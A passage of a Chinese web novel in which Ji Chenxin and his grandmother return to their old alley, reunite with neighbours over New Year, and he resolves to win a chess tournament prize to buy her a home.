记忆中的巷子,老老少少都认识他,如今他站在巷口,一群小朋友在那儿玩耍,却无一个人上前与他嬉闹。 纪辰新的脚步顿住了,他恍惚间懂得了奶奶的近乡情怯,不是不愿,而是不敢,他没有勇气再往里踏进一步,因为所有的一切都变了。 “哥哥,哥哥,你是来找人的吗?” 倏然间,一个扎着双马尾的小女孩眼睛亮晶晶地凑上来,估摸着也就七八岁的模样。 “哥哥你好好看啊,你是住哪一户的?” “他肯定不是我们这儿的,我们这儿没有这么帅的。”一小男孩无情反驳道。 纪辰新尴尬一笑,“可我曾经也住这儿的,大概七年前吧。” 小女孩疑惑地看着他,“真的吗?” 纪辰新刚想回答,就听到一道青少年的招呼声。 “小家伙们,辣条买回来了,还吃不吃了?” 闻言,他下意识回头望去,却见一个十二三岁的小少年提了个塑料袋,里面装着大概五六包辣条,乐呵呵地道,“一人一包,都别抢。” “啊,烨哥哥,我要大辣片。” “还有我,我也是” “” 纪辰新与这小少年猝不及防对视了一眼,怔忪间,总觉得此人有一丝似曾相似之感,但一时又想不起来。 眼见,这群小朋友都朝那人围了过去,他便识趣的转身离开了。 在他转身走后,原本在给孩子们分发辣条的小少年警觉地问孩子们,“这个人是谁?他跟你们聊什么了。” 双马尾的小女孩,笑着道,“你说那位好看的哥哥吗,没聊什么啊,我们问他找谁,住哪里,他却说他七年前住这儿,好奇怪,我们都没见过他。” 七年前? 住这儿? 霎时间,肖烨瞳孔一缩,腿一蹬就追了出去。 但这个时候,哪还有刚刚那人的身影。 肖烨想到没想就一路冲回了家,随后一把推开了哥哥的房间。 肖椿正在写作业,被打乱了节奏,头也不回地,蹙着眉头道,“你就不能敲门吗?” “整日冒冒失失的,这次期末考试才考多少分” “哥,我刚在楼下见到辰新哥了。” “啪嗒”一声,中性笔从指尖滑落,随即“咕噜噜”在地板上滚动,最终在墙脚停下。 “你说谁?” 刹那间,肖椿听到了自己激动到沙哑的声音,如是问。 第94章 纪辰新其实并未走远, 他去了巷子附近的菜市场。 既然找了借口出来买菜,那自然不能空着手回去。 于是,他买了几个鸡蛋和西红柿, 打算晚上做西红柿炒鸡蛋吃。 没一会儿,他又去了肉铺买了半斤肉和几个辣椒,过后,他又拿了点豆芽,奶奶做的清炒豆芽还蛮爽口的。 就这样,他逛了十来分钟的市场, 提着菜正准备离去时。 却陡然听到: “纪辰新, 你这个胆小鬼!” 始料未及之下, 一道声音猛地令他停下了脚步。 他背对着,攥着袋子的手微微发紧,脑子更是一片空白。 “既然回来了, 为什么不敢相见。” “你连进巷子的勇气都没了吗?” 半生不熟的声音, 语调却是令他怀念的存在, 几个月前, 他和肖椿是通过话的, 只不过,后来俩人没了交集, 联系也就少了。 喧闹的背景下, 菜市场的贩卖声从各个摊位间溢出, 织成一张密不透风的声网,他们的吆喝声此起彼伏,带着浓重的乡音穿透人群。 塑料袋的摩擦声、自行车的铃铛声、孩童的哭闹声穿插其间,偶尔还传来三轮车颠簸过石板路的哐当声。 纪辰新闻到湿漉漉的地面上,鱼腥气、蔬菜的清香气、卤肉的油香味混杂在人声蒸腾之上。 这里的一切都是与如今的小巷格格不入的, 它们像是被新时代所抛弃,却又弥足珍贵,甚至与纪辰新记忆中菜市场的画面逐渐重合。 这里的每个角落都涌动着热腾腾的烟火气,吵得热烈而又鲜活。 只有在这里,他才不感到违和。 以至于,在面对质问时,多了一分勇气。 只见他坦然转身,语气欠揍道,“说谁胆小鬼呢,敢说老子是胆小鬼,肖椿你是活腻了吗?” “就是我说的怎么了,有种打一架?”肖椿尾调微微上扬,话里满是久别重逢的熟稔,“老子早就想揍你了!” 纪辰新语气爽朗,语速不自觉加快,“行啊,这里不方便,得找个空旷点的地方。” “跟我来。”肖椿嘴角一勾,转身而去。 不过他没敢走太快,时不时的还回过头看纪辰新跟上没有。 “快点走,别磨磨蹭蹭的。” 纪辰新拎着手中的菜,心情逐渐放松了起来,亦步亦趋地跟了上去。 肖椿没有带他去别的地方,反而再一次将他带回了巷子。 “有种你就进,没种你就走。” 他用激将法逼他,“纪辰新你若是真走了,以后都别想再回来了。” 纪辰新本就踌躇的步伐,硬是被他这句话给激的向前迈了一步。 “谁没种了,告诉你,老子是最有种的男人!” 然而,他刚说完这句话,肖椿的拳头就挥过来了。 霎时间,纪辰新瞳孔一缩,用力闭上了眼睛,没躲。 他知道肖椿这些年多有怨言,当初自己不告而别确实伤了人家的心。 所以,要打就打吧,他不会还手的。 3、 2、 1、 默数中,等待的拳头并没有迎面而下,反而重重锤在了他的胸口。 纪辰新踉跄着后退了一步,脸色微变,随即咳嗽了两声道,“你是会选地方的,还知道往我伤口上锤!” “怎么样消气没?” “若是没消气,再锤两下?” 肖椿听到伤口,手都抖了,他确实忘了,这家伙之前胸口受过刀伤的。 然而,气势上不能输。 只见他依旧保持镇定道,“这是你欠我的,你就该受着。” 纪辰新笑着咳嗽了两下,“好,好,我受着。” “还要不要继续锤?我保证今天绝不说二话!” 肖椿紧紧握着拳,不自在地偏过头,“就先这样吧,剩下的欠着,免得把你锤死了。” “哈哈哈,好,那我还应该感谢你了,我的好兄弟。”纪辰新现下放松了许多,主动上前与他叙旧。 哪曾想,肖椿气还没消,“谁跟你好兄弟了,我们早就已经绝交了。” 纪辰新眉梢一挑,得,还气着呢,两人一时僵住,不知如何是好。 这时候,肖烨跑了下来,“辰新哥,你真是辰新哥吗?” 纪辰新闻声望过去,啧,这不刚刚那小少年吗? 他是如何知道 电光火石间,纪辰新猛然盯着面前这人,像是发现了什么。 下一秒,他又观察起了一旁的肖椿。 这 这该不会是 肖烨那个小不点吧! “辰新哥,我是小烨啊,你忘了?” “我如今长高了,长大了,你就不认识我了?” 肖烨要比肖椿矮一个头,而肖椿则比纪辰新又矮了半寸,所以这一整圈看下来,纪辰新竟成了这里最高的了。 “额,认识,认识,就是一时没反应过来。”纪辰新不由摸了摸肖烨的头,“七年没见,你小子居然都长这么大了。” “嘿嘿,男大十八变嘛,我现在青春期,正到了发育的时候。” “对了,辰新哥,我跟你说,我哥就是犟脾气,你千万别往心里去,其实他可想你了,这些年一直都在寻找你的踪迹呢。” 肖烨两句话就把他哥卖了。 肖椿急了,“臭小子,不说话没人把你当哑巴!” “你作业做完了吗,就知道玩,整日” “怎么了,我说错了吗?你明知道辰新哥离开是有苦衷的,你还在这为难他,我看你啊,才是真正的哑巴!”肖烨一身反骨,直戳他哥的心窝。 纪辰新尴尬地站在一旁,用喉咙咳了好几声,才道,“好了小烨,你先上去吧,我跟你哥还有话要说。” 肖烨朝自己哥哥冷哼了一声,然后笑嘻嘻地看着纪辰新,“好嘞,辰新哥,你今天晚上就在我家吃饭呗!” “额,不了吧,我这还买了菜呢,准备回家做。”纪辰新将自己手里拎着的菜晃了晃。 这时,肖椿也开口了,一副不容拒绝的模样,“叫你吃饭,你就吃,还回家做什么,不嫌麻烦。” 纪辰新打着哈哈,“我奶奶还在家等着我呢,我要是在你家吃了,奶奶怎么办?” “那就把纪奶奶接过来一块儿吃。”肖烨灵机一动,“你们现在住哪,我这就去接纪奶奶过来。” 纪辰新还没答应,肖椿就紧随其后,“是啊,把纪奶奶接过来一块儿吃就是了,看你在这附近买菜,想来住的也不是很远。” 既然提到了奶奶,纪辰新意识到这或许是一个机会,一个能让奶奶重新融入巷子的机会。 看到纪辰新脸上的犹疑,肖椿二话没说,就走向了院子里的一个角落。 那个角落此时正停着一辆男士摩托,肖椿大咧咧地上了车,然后发动了引擎,“上来带路,我们一起去接纪奶奶过来。” 话都说到这个份上了,纪辰新知道再推脱就不像话了。 于是他拎着菜,下一秒又直接将菜塞给了肖烨,“既如此,等下一块儿炒了吧。” 肖烨兴高采烈地接过,“好,你放心,我手艺好的很。” 穷人家的孩子早当家,早年间,不到十岁的肖椿就已经在负责家里的一日三餐了,如今十三的肖烨也成了个中好手。 坐上摩托车的那刻,纪辰新心里的顾虑总算烟消云散。 肖椿开的并不算很快,他很注重安全与舒适度。 风在耳边呼啸,肖椿却把唯一一个头盔给了他。 “你刚刚说有话要对我说,现在可以说了。” “啊?” 纪辰新懵了一秒,随即想起刚刚在巷子里,他对肖烨说的那句托词。 那确实是句托词,他当时看肖椿被掀了老底,怕他没脸,怕他窘迫,才随意编了一句,目的只是为了让肖烨闭嘴,赶紧离开罢了。 此时此刻,肖椿突然提起来,倒让他不知该如何圆了。 俩人到底是七年没见了,没了以前相处时的默契,相处久了甚至会觉得有点尴尬。 纪辰新思索了一会儿,话起了家常,“你爸妈这些年过的还好吗?对了,还有你爷爷…” 肖椿没什么遮掩的,“爷爷在三年前就去世了,爸妈挺好的,这些年他们工资上涨,家里的条件也跟着好了起来。” “不好意思,我不知道,抱歉。” “没关系。” 一两句话,俩人再次陷入沉默。 大概过了几秒,纪辰新不由想到如果自己和奶奶过去吃饭,少不得需要带点东西上门。 便又问了句: “你爸妈现在在家?” “没,通常要等到下工才会回。”紧接着,肖椿又补充道,“放心,我爸妈看到你们来绝对会很惊喜。” 纪辰新默默点头,一时又不知道该说什么了。 “对了,王婶他们搬走了。” 冷不丁的,肖椿转移了话题。 纪辰新愣了愣,“搬走了?” “对,今年八九月份的时候,刘律师过来梳理你纪知远的盗窃案件,这个案子当时是与你受伤的案子并案上诉的,然后不知怎么就扯到了当初你们离开的原因。” “原来这一切都是王婶在里面从中作梗,而且这里的每一户都被盗窃了,就王婶她家没有。” “后来,王婶因为教唆罪、知情不报等罪名,本来是要判刑的,结果她说愿意返还大家被盗的钱,大家这才出具了谅解书,然后她只在派出所待了半个月,就被放出来了。” “不过,最后他们一家人在闲言碎语之下不堪其扰,搬走了,连房子都卖了。” 另一边,肖烨拎着纪辰新给的菜,一路上楼去。 中途遇到了几个街坊邻居,问他刚刚楼下那个帅小伙是谁。 肖烨自豪道,“是辰新哥,他回来了,他和纪奶奶一起回来了,还答应了晚上在我家吃饭呢。” “诶哟,真是他们回来了?” “小烨,你莫不是唬我们的吧?” “哪呢,怎么没见到人呢?” 几人七嘴八舌,没几下就宣传开了,她们热络地走家串户去说。 “我二婶子,听说春兰嫂回来了。” “你说什么,春兰姐带着她那个孙儿回来了?” “” 肖烨回到家后,将家里的腊肉拿了下来,然后还给父母打去了电话。 “妈,纪奶奶和辰新哥回来了,今天晚上来我家吃饭,你们今天尽量早点下工。” 电话里,女人显然惊住了,“谁,你说谁?” “孩他爸,别干了,走走走,回去,小烨你去煮饭,然后再去市场买条鱼,再来几斤牛肉和羊肉” “算了你不会弄,等我们回来!” 第95章 摩托车抵达租住地时, 纪辰新率先下了车。 肖椿默默将车停好,随后整理了下发型,才跟了上去。 纪辰新一边往家里面走, 一边喊,“奶奶,我回来了。” “你在哪呢?” 李春兰这个时间正在厨房煮饭,听到孙儿的声音,便应了声,“厨房呢, 菜都买回来了吗?” “奶奶, 你看我带谁来了。” 纪辰新说这话时, 回头望了眼肖椿,示意他进厨房。 他们租的这个地方不算大,从大堂到厨房也就七八米的距离。 李春兰还不知道身后有惊喜在等着她。 只见她淘了淘米, 笑骂道, “什么谁不谁的, 整日神神秘秘的。” “纪奶奶, 我是肖椿。” 突如其来的自我介绍, 霎时令老太太眼皮一跳,她在听到肖椿这个名字时, 猛地转过身, 随后用不可思议的目光打量着面前人。 小时候那个瘦弱瘦小的男孩, 如今已经身姿欣长地立在了她面前。 老太太试图从他身上找到当年的痕迹,左看右看却都觉得,他与以前大不相同了。 肖椿站的板板正正,笑着道,“纪奶奶, 您难道不认识我了?” “好家伙,你这孩子居然长这么壮实了,还记得你小时候可瘦小了,就那么一点。”李春兰连比带划。 “椿小子,这些年你爸妈把你养的很好啊。” 老太太不由感叹道,“还记得十岁那年,你家总吃不饱来着。” 肖椿不好意思地摸了下头,“是啊,那些年多亏了您呢,您对我们家的照顾,我们一直都记在心上。” “这不,我今天过来就是邀请您去我家吃饭的。” 纪辰新怕奶奶有顾虑,帮腔道,“奶奶,我已经答应了哈,就连我买的菜都给肖烨拎回去了。” 李春兰确实顾虑,委婉拒绝道,“椿小子,你的心意奶奶心领,但饭就不过去吃了,辰新可以去,你带辰新去就行了。” “那怎么行,要去就一起去,你怎么还单把自己撇下了?”纪辰新第一个站出来反对。 肖椿顿了顿才道,“纪奶奶,你就一起去吧,我爸妈都期望着见您呢。” “我今天要是没能把您带回去,我指定要跪搓衣板的。” “难道您忍心?” 该说不说,肖椿劝人还是有两下子,纪辰新都听愣了。 李春兰虽然有一点动摇,但还是道,“怎么会呢,你好好跟你爸妈说说,他们不会为难你的。” “我就不去了,家里正好也已经煮了饭了,等下浪费了。” 纪辰新拆台,“可是,奶奶没有菜啊,没菜你吃什么?” 李春兰指了下灶台上的咸菜,没好气道,“正好吃点清淡的,你奶奶我就好这口,你又不是不知道,好了,你赶快去吧,别在这磨蹭了。” 纪辰新都服了她了,简直拿她没有办法。 一直在劝的肖椿也沉默了,过了一会儿,他接了一个电话,随即神色变的轻快起来。 “好的,妈,我这就把电话给纪奶奶。” 肖椿讲完,立马就将电话递到了李春兰面前,“纪奶奶,我妈想跟你说几句话。” 老太太这下没有再推拒,“喂,小梅啊!” “” 接下来的时间,纪辰新和肖椿就这么听着,老太太与电话里肖椿的妈妈,俩人你来我往进行着拉锯战。 十分钟后,易小梅放了大招,扬言要让巷子里人都过来当说客,请也要把你请来这种说辞 李春兰被她这一弄,瞬间缴械投降。 “好好好,我来,我会来的,你别喊别人噢。” “噗”听到这的纪辰新,心情大好,难得看到有人能治住老太太。 其实,他也懂奶奶的心理,这老太太就怕自己过去了讨别人嫌,毕竟这么多年没见了,给别人添了麻烦多不好。 好在,肖椿妈妈这通电话一打,正好打消了她的顾虑,让她知道了,自己并不讨人嫌,别人是愿意见到她的。 挂断电话,李春兰肉眼可见地高兴了,她急急忙忙去卧室,将从墨城带回来的特产全部都拎上了。 “小新,快过来,帮奶奶拎点儿,奶奶一个人拎不动。” 纪辰新应声,“好,这就来。” 说罢,他让肖椿去外面发动摩托车。 下一秒,他又担忧道,“对了,你那个摩托车能坐下三个人吗?” “放心吧,能行!” 肖椿锤着胸口,打了包票。 五分钟后,纪辰新将老太太安置在正中间,他则坐最后,“好了,肖椿,出发吧。” 两公里的路程并不远,所以没花多长时间。 当车开到巷子里时,纪辰新远远地就看见,肖烨在巷口等着。 而且,他身边还站了好几个以前小时候,纪辰新见过的叔叔婶婶,以及老太太。 最先做出反应的是李春兰,一下车,她就激动的迎了上去。 “哎呀,老姐妹,好久不见啊!” “春兰嫂,您还记得我不。” “记得,记得,怎么会不记得!” “” 纪辰新静静看着他们叙旧,这还是他这七年来第一次见奶奶这么高兴。 老太太将手中的特产挨个分发了出去。 纪辰新则将手里的东西全递给了肖椿,“这是给你们家的,快拿着。” 肖椿看着大家都笑呵呵的收下了,也就没推辞。 “走吧,辰新哥,我爸妈已经在家炒菜了。” 肖烨兴高采烈地跟在他后边提醒道。 纪辰新连忙扯了扯已经聊的走不动道的老太太,“奶奶,去肖椿家聊吧。” 老太太应了他一声,随后说说笑笑地拉着几个老姐妹,一同上楼去。 “春兰嫂,那说好了,明天来我家吃饭。” “还有我家,你后天来我家。” “那正好,大后天到我家,赶上年夜饭了!” “” 不远处在嬉闹的几个小孩,懵懵懂懂地看着这一幕。 尤其当他们看到纪辰新也在其中时,顿时发出了灵魂拷问: 原来他以前真住这儿啊! 此时此刻,肖家厨房,正忙的如火如荼。 易小梅负责切菜,肖柏负责掌厨,俩人配合的天衣无缝,无比默契。 肖椿率先回到了家,他直奔厨房,“爸妈,我把人接来了,这是纪奶奶送我家的特产。” 易小梅刚要说不能拿,却见李春兰进到了厨房,“小梅啊,你必须收下,大家都有呢,这是我的一片心意!” “你不收,我就不在这吃饭了哈!” “哎呀,春兰婶,你说的啥话,收收收,我收还不行吗?” 厨房热热闹闹,易小梅放下切菜的刀,领着大家到大堂,“刚买的新鲜水果,还有瓜子花生,大家都别拘着,边吃边聊。” 李春兰笑着答应,“好嘞,小梅,你忙你的,不用管我们。” 纪辰新也好久没看见这么热闹,有烟火气的场景了,一时沉浸在其中,有滋有味。 肖椿拍了下他的肩,“你玩不玩游戏?” “游戏?”纪辰新霎时来了兴趣,“什么游戏?” 肖椿带他去了自己房间,“这是我家今年新买的电脑,叫一体机,是不是比网吧的电脑都高级?” “花了我爸四千块钱呢。” “一体机?”纪辰新看着眼前的电脑,连主机都没有,可不是一体机吗,跟电视一样宽大,却又比电视薄,他很难形容这是个什么东西。 以他有限的经验来说,就是前世他也没见过这玩意,不对,应该说一直没流行起来,这是注定要被淘汰的玩意! “这打游戏带的动吗?” 纪辰新问出了关键性的问题。 肖椿愣了一下,“额,还行吧,就是有一点卡。” “得这四千块白花了。”纪辰新丝毫没给面子,脱口而出。 肖椿不明所以地看着他,“什么意思?” “你知道现在有笔记本电脑了吗,笔记本电脑比你这个薄一些,甚至可以手提。” “你这个既笨重又鸡肋,写程序都费劲,还有你看你这键盘,按的我手疼。” “就这么说吧,你这台电脑,性能上比不过台式机,便捷式上又比不过笔记本。” “你们一开始就不该选这种机子,比台式机都贵了。” “你知道我们学校机房台式机才多少钱一台吗,两千八!” 肖椿听完脸色都变了,他根本不懂电脑,这一两年来,稍微手头宽裕点的家庭都给子女准备了电脑,就像弟弟肖烨隔三岔五要不是去网吧,就是去同学家蹭电脑玩。 也正因为如此,父亲才想着去给自家买一台电脑。 结果可想而知,家里有点见识的也就是他了,不过他的见识也很短浅,要不说当时他能一眼相中这台机子呢。 而父亲,一个任劳任怨的工人,哪里懂这些,全是听信了他说的,才拿下这台电脑。 如果这台电脑真这么差,那该如何是好,这可是整整花了四千块钱啊! 眼看肖椿心有愧疚,心情变的不太好,纪辰新瞬间意识到自己失言了。 他咬了下唇,安慰道,“额,其实只要好好保养,玩个三年还是不成问题的。” “好好保养,都只能玩三年?”肖椿简直要崩溃了。 纪辰新紧急闭嘴,【系统,我是不是说错什么了。】 系统坚定地站他这边,【没有啊,宿主你说的都是对的,是他接受不了而已。】 纪辰新求助道:【那他这个还有补救的机会吗?】 系统:【有啊,换成台式机就行了。】 纪辰新一脸黑线:【】 我真多余问你! 第96章 当晚, 纪辰新和奶奶在肖椿家吃了一顿温馨又热闹的晚饭,同时两家人还一起细细聊了这些年的过往以及一些趣事。 待到吃的差不多时,易小梅问了句, “春兰婶,您考虑带着小新重新搬回来吗?” 闻言,李春兰瞬间顿了下,好一会儿才道,“暂时还没有想过这个。” 易小梅接着道,“得想啊, 一定得想, 巷子的邻居们都很想您, 而且您在这生活了大半辈子,难道不想在这儿养老吗?” 最后这话实实在在地说到李春兰的心里去了,但顾及到原来那个房子已经抵押出去, 被别人买下。 再加上 , 附近的房子都离巷子有一段距离, 根本不在她的考虑范围内, 所以她才说没想过。 况且, 小新是什么样的看法,她也很在意, 毕竟这些年在墨城, 孙儿已经习惯了那边的生活方式。 纪辰新哪里不知道她的担忧, 立即表态道,“奶奶,您不用考虑我,要是想搬回来,我们就搬, 我在哪都一样。” “而且,这边还有熟悉的朋友,我觉得挺舒坦的。” 说罢,他就与肖椿对视了一眼,肖椿也朝他点点头,“是啊,纪奶奶,我和辰新都分开多少年了,也该好好聚聚了。” 李春兰听了孙儿以及肖椿的话,肉眼可见地喜上眉梢,终于表达了自己的担忧,“虽然搬回来是挺好的,但这边好像没有合适的房子了。” “怎么没有,王婶他们家那个房子卖了,现在还空着呢,你们要是想租,我给你们联系房东,今天晚上就可以让他带着合同来。”肖椿想也不想地道。 然而,一提到王婶,霎时间,众人都沉默了。 毕竟她做的事,是实打实地伤了众人心的。 也许是气氛太过沉抑,下一秒,肖柏就连忙端了水果过来招呼他们,“来,大家吃点水果,去去腻。” 易小梅鬼使神差道,“春兰婶,您要是心有芥蒂咱们就不租那房子,再寻别的房子就是。” 李春兰摇了摇头,笑道,“事情都过去了,不提了。” 纪辰新细细打量奶奶的神情,总觉得她笑中带涩,如果他没猜错的话,奶奶最想要的应该还是他们原来的那套房子,只不过现在已经被其他租客住下了。 今日他和奶奶经过曾经的家门口时,都不自觉地往里张望,然而早已物是人非。 这顿饭结束后,大家相谈到八点半的样子,老太太就提出要回去了。 易小梅还想着留她过夜,不过老太太拒绝了,说什么也要走,纪辰新也在一旁跟腔,“你们留步,我和奶奶正好走回去,消消食,住的又不远,有时间再来找你们玩!” “哎呀,这一两公里呢,走回去多累啊,我让椿儿开摩托车送你们吧。”易小梅热情道。 纪辰新摇头坚持道,“我们主要是想多逛逛,毕竟这么久没回来了,比较新奇,别担心,溜达一圈我们就回去了。” 他这一说,易小梅也就没勉强了,只一个劲地让俩人随时过来玩。 本来肖椿还想跟过去的,结果被纪辰新一句话就给怼回去了,“过两天再来找你玩哈。” 闻言,肖椿尴尬地站在原地,应声道,“额好吧,那就这么说定了。” “” 祖孙俩告别了肖椿家,便一路说说笑笑出了巷子。 回去路上,纪辰新问奶奶,王婶那个房子,他们租还是不租。 然而,老太太心有抵触,“还是住自己的房子更踏实。” 理虽然是这么个理,但他们原来的房子,七年过去,真的还算是他们原来的房子吗? 纪辰新表示对此持保留意见。 其实他们今天,不是没有看到那间屋子里面的装饰的,已经完全跟七年前不一样了。 甚至就连肖椿家也有了很大的改变。 就好像这七年,所有人都在往前走,只有他们停留在了过去。 纪辰新不喜欢这种感觉,便如是道,“王婶那个房子,我们租下来吧,到时候重新装修一下。” 他打定了主意,既然要搬回来,既然想要重新融入巷子,那这个选择是必然的。 老太太当即皱眉,“不行,我不同意,又不是自己的房子,白花那么多钱装修干嘛。” “那就让它变成自己的房子,我们买下来就是了。”纪辰新想当然道,“买下来之后,我们想怎么装修就怎么装修。” 下一秒,李春兰急到脱口而出,“我们哪来的钱,这不是一个小数目,没有个几十万,人家房东谁理你。” 话都说到这份上了,纪辰新霎时就明白了真正困住老太太的心结是什么了。 根本就不是王婶的问题,也不是租不租房的问题,更不是装修的问题,而是房子产权本身的问题! 辗转大半生,他们祖孙俩一直颠沛流离,从来没有一套真正属于自己的房子。 这种不安全感,才是令老太太最恐惧的。 他们走到哪都是租房,就连回到自己家乡都得租房,试问谁不焦虑,试问谁又能受得了。 猛然意识到这一点的纪辰新,脑子都空白了。 他从未想过这个问题,尤其是这个问题对一个老年人来说到底有多重要。 世人都说,落叶归根,但问题是他们祖孙俩连根都没有,又能归往何处呢。 几十万不是一个小数目。 这是纪辰新自七年前奶奶生病后,第二次这么急迫的需要钱。 他想,他需要很多很多的钱。 需要能买下一套房子的钱,还需要能将房子装饰成家的钱! “我知道了奶奶,您放心,这个事我会解决的。” 纪辰新深思熟虑后,这样回复道。 然而,老太太很是懊恼地看着他,“你又知道什么了,刚刚是奶奶语气不好,你这孩子不要想太多,只要你好好读书,就是奶奶最大的心愿了。” 纪辰新回了她一个安抚的笑,心里却已经在琢磨第三轮,也就是最后一轮世赛什么时候开始了。 只要他拿下冠军,他就能得到一笔足够他实现这些目标的财富。 冠军是多少钱来着? 系统! 系统立即上线:【宿主,这边刚刚查询到,冠军的奖金是20万美金,亚军是8万美金,而第三第四名都是1万美金。】 20万美金,相当于人民币一百二十多万了,在这个年代,即便是存在银行吃利息也是好大一笔财富了。 但老太太养老的房子是绝对要买的,她喜欢巷子里的生活,喜欢这群街坊邻居 纪辰新再次问起了系统,【你估个价,王婶那套房子值多少钱。】 系统依据市场价得出结论,【虽说房子比较破,也有点年份了,但想要成交,估计也得要三十万,毕竟这是个两室一厅的房子,有70平。】 【如果考虑还要重新装修什么的,装修的费用差不多也要10万。】 【这都是保守估计,你最好准备50万,咱不打无准备的仗。】 听到这,纪辰新心里大概有数了,【这确实不是一笔小数目,难怪奶奶会那么激动。】 【好在江洲不是帝都,作为一个小城市,房价还算公允。】 * 说好过两天来找肖椿玩,就真的是过两天。 肖椿都服了纪辰新了,前两天怎么叫他都不出来,说是要练棋,好不容易今天愿意出来了,还是不愿意撇下那副棋。 他都怀疑,要不是今天过年,纪辰新依旧不愿意出来见他。 “走啦,上车,今晚来我家吃年夜饭。” 纪辰新疑惑地看着他,“啊?” “啊什么啊?纪奶奶一早就去巷子里了,现在正在潘奶奶家包饺子呢。” “今晚纪奶奶会在她家吃饭,你呢就去我家吃。” 肖椿这几句话直接给纪辰新说愣了,他震惊道,“什么?什么时候的事,我奶奶怎么都没跟我说?” “怎么没跟你说,你看你手机,她都给你打多少个电话了,你只知道下棋,能知道个鬼!”肖椿丝毫不留情面道,“我看你是下棋下魔怔了吧。” 纪辰新这才想起被自己关了静音的手机,连忙掏出来一看,还真是 不敢耽搁,他立马回了电话过去。 最后,他安逸地挂了电话,“好吧,我承认你说的很对!” 终于,纪辰新放下了手里的棋,乖巧且毫无怨言地上了肖椿的车。 路上,俩人一言不发,临近巷子时,天空突然轻轻飘起细碎的雪花来。 纪辰新哈出一口气,率先发出疑问,“江洲好像一直都不怎么下雪,今年怎么突然下起雪来了。” 肖椿摇头,“谁知道呢,总共也没下几回雪,哪像帝都年年都下雪。” 说到帝都,纪辰新很是赞同地点了下头,“这倒是确实。” 俩人你一搭我一搭地闲聊着,没一会儿就进了巷子。 正当纪辰新路过一户人家时,恰好就听到了客厅里面电视机在播报天气与新闻。 “中央电视台预计从明天开始,新一股较强的冷空气即将来袭,这也将是今年下半年以来最强的冷空气” “尤其注意的是,帝都大雪已经连续一个多月,致使不少区域交通瘫痪,积雪结冰” “大雪若继续下去,很可能再导致电力与通信的中断” 纪辰新听了一耳就去了肖椿家,完全没有将此事放在心上。 直到晚上守岁,纪辰新接到苏陌的电话,才偶然听他提起,这场大雪已经导致帝都所有人出行困难了。 而且,不少学校正在做准备,若大雪持续下去,或将延迟开学。 纪辰新恍惚听着,原来今年的天气居然这么恶劣,难怪就连江洲都跟着下雪了,看来帝都的情况不容乐观啊。 转而,纪辰新又问起他如今现状如何,他提的隐晦,苏陌却懂,“已经解决的差不多了。” 解决的差不多了? 纪辰新眸光一闪,“什么意思,你爷爷那边松口了?” “算是吧,我找了另外一个当事人,费了番力气才告诉并说服她,我已经心有所属了,她那边虽可惜,却也不愿强人所难,最后,她主动让他爸来我家解除婚约了。” 苏陌说这些时,纪辰新能感觉到他语气的松快,以及愉悦的心情。 “那你爷爷怎么说?” 苏陌讪笑,“他能怎么说,人家不愿意,他还能强求不成。” “婚事没了,他暂时也将注意力从我身上移开了。” “我本来打算过了除夕,就过来找你玩的,却没曾想遇到暴雪,飞机等所有交通都停运了” 纪辰新真心为他高兴,“没事,等我们回学校再见也一样。” 苏陌很想说不一样,但理智告诉他,还是闭嘴比较好。 “如果学校真的延迟开学,短时间内我们要如何见?” “说实话,这么久没见,我都有点想你了” “纪辰新,你想我吗?” 不是有点想,而是很想很想,苏陌斟酌着用词,不敢表述完全,克制又忐忑地表达着自己的心意,甚至还企图得到点回应。 纪辰新无法形容这种微妙的感觉,总觉得这家伙好像变的有些不同寻常,关键还隐约透出一丝不对劲来。 毕竟,他都说了开学见了,怎么还跟他扯些有的没的。 于是,他想都不想就道,“哎呀,不会推迟的,学校欸!怎么可能,你就放心吧。” 结果,对面过了好一会儿,才回复他,“嗯,你说什么就是什么,我信你。” “纪辰新,新年快乐!” 与此同时,墨色天幕像被打翻的星河,被骤然升起的烟花撞的粉碎,当第一簇金红炸开,如万千碎金簌簌坠落,在寂静的冬夜里,织就出最鲜活的年味儿。 “希望我们岁岁年年皆相伴!” 纪辰新被窗外流转的光影以及孩童的欢呼声吸引了注意力。 靛蓝、柔粉、莹白的花火次第腾空,层层叠叠,似流星奔月,带着尖锐的呼啸划过长夜,转瞬在天际绽成漫天星子 “苏陌你刚刚说什么?我这里正在放烟花,没听到!” 一阵花火过后,纪辰新后知后觉地对着电话如是道—— 作者有话说:苏陌:你还没回答,有没有想我呢! [托腮] 纪辰新:作为男子汉大丈夫,请不要说什么想不想的,OK?[好的] 第97章 大年初一, 正是拜年的好日子。 纪辰新由于昨晚守岁,所以睡的比较晚,等他醒过来时已经是中午12点了。 李春兰并没有催着他起床, 而是高高兴兴地在厨房炒菜,她锅里的那些菜和调料都是老姐妹特意给她准备的,不光味道浓郁还很丰盛。 躺在床上的纪辰新醒了会儿神儿后,才拿出手机看了眼,随后就被手机里涌出来的无数条信息给炸懵了。 有来自赵言权的,有来自崔文和的, 还有来自室友侯杨和张景龙的甚至就连苏衍都给他发来了祝福, 还不止一条, 更可笑的是,其中还有两个红包! 红包啊,不领白不领! 晚一秒都是对钱的不尊重, 所以纪辰新非常迅速且痛快地就领了。 这是一个188元的红包, 由于单个金额最多只能塞200, 结果苏衍居然还一连发了两个。 一大早就得了三百多块钱的纪辰新, 心情很是不错, 就给他回了句,【多谢孝敬!】 苏衍秒回, 【我就知道!】 【红包一停, 联系归零!】 【老子给你发这么多条消息, 你什么时候回过我?】 纪辰新疑惑回想,【没有吧,我是这样的人吗?】 苏衍气狠狠,【你就是!】 【这段时间,我都给你发多少消息了】 纪辰新恍然大悟道, 【啧,我俩是很熟的关系吗,我俩敌对了一学期,你不会忘了吧。】 简简单单的一句话,直接就给对面干沉默了。 苏衍破防到再也没发消息过来。 见他终于老实,纪辰新转而又去回复了赵言权以及崔文和。 其中崔文和的消息他也是选择性回复的,不过,倒没有像对待苏衍那样完全屏蔽。 等将所有人的信息回复完,纪辰新这才起来洗漱。 中午吃饭时,老太太也给纪辰新塞了一个红包,“喏,这是给你的压岁钱。” 纪辰新愣了下神,以往每一年奶奶都会给他压岁钱,但今年的红包明显比往年的都要厚。 面对他明显愣神的表情,老太太笑笑,“奶奶今年高兴,拿着吧,过了这个村,可就没这个店了。” 纪辰新再一次痛快收下,这是奶奶的一片心意,大过年的,接着就是了,喜庆! 边吃边聊的过程中,俩人又聊到了这次在江洲过年的各种趣事。 纪辰新知道他们没办法在江洲住很久,顶多再过几天就要回墨城去了。 而这边的房子,再如何,都只能等他拿到比赛奖金才能买了。 